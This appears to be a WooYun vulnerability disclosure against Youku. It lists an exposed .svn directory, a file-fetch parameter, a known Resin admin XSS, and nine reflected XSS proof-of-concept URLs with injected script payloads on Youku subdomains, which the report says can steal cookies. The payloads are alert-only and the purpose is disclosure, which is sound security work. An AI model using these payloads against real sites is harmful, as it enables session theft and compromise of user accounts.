WooYun.org

0x01.
信息泄露

http://events.youku.com/acer/.svn/entries

http://minisite.youku.com/newproduct/event/apple912/getfile.php?file=apple0912_windows.ics

0x02.
Resin Professional 3.1.3版本存在XSS
http://vq.youku.com/resin-admin/digest.php
传递给resin-admin/digest.php脚本的"digest_username"和"digest_realm"参数的输入在返回用户之前缺少充分过滤
0x03.
多处反射xss，可盗cookies
1.

http://v.youku.com/v_show/id_XNTg2ODg3ODcy.html?f=19400289&o=%3C/script%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E;//

这个xss影响到的url很多，目测几百个... 只列出10个.
http://v.youku.com/v_show/id_XNTg2ODg4MzMy.html?f=19400289&o=0
http://v.youku.com/v_show/id_XNTg2ODg3ODcy.html?f=19400289&o=0
http://v.youku.com/v_show/id_XNTg2ODg3OTM2.html?f=19400289&o=0
http://v.youku.com/v_show/id_XNTg2ODg4MjQ0.html?f=19400289&o=0
http://v.youku.com/v_show/id_XNTkwNTcwNjA4.html?f=19400287&o=0
http://v.youku.com/v_show/id_XNTg2ODg2Njg4.html?f=19400289&o=0
http://v.youku.com/v_show/id_XNTkwNTcwOTEy.html?f=19400287&o=0
http://v.youku.com/v_show/id_XNTg3NTc5NjE2.html?f=19400287&o=0
http://v.youku.com/v_show/id_XNTg3NTc5Njk2.html?f=19400287&o=0
http://v.youku.com/v_show/id_XNTg0NTU3NDA4.html?f=19400284&o=0
2.

http://i.youku.com/u/UNDE2NTYzMzky/videos/?q=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E

同样这个xss影响到的url也很多，目测几百个.... 只列出10个.
http://i.youku.com/u/UMTA5NTc5NzY
http://i.youku.com/u/UMTMwMzg5Mg
http://i.youku.com/u/UMzM3NDM5MzM2
http://i.youku.com/u/UMjc5MzI5NDA
http://i.youku.com/u/UNDA5NDkzOTEy/
http://i.youku.com/u/UMzg1OTc3MDU2
http://i.youku.com/u/UMTM2NzgyNzE2/
http://i.youku.com/u/UMTcyNzk3ODM2/
http://i.youku.com/u/UNTY5MDQ5Njcy/
http://i.youku.com/u/UMzUxNzk5Njg0/
3.

http://i.youku.com/u/share/?url=This%20is%20a%20test%22%3E%3C/textarea%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E

4.

http://oreo.youku.com/api/pop_video.php?vid=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E

5.

http://comments.youku.com/comments/comments?id=73500&bind_type=1&pl=5&width=0&height=0&minisite=0&color=1&backurl=%3C/script%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E;//

id、backurl 2个参数
6.

http://minisite2.youku.com/activities_fee/www/integral/continue_sign_in.php?callback=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E

7.

http://i.youku.com/u/search?q=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E

8.

http://www.youku.com/playlist_show/id_19485175.html?page=1&mode=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E&ascending=1

9.

http://v.youku.com/v_map?lng=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E&lat=41.8087005615

lng lat 2个参数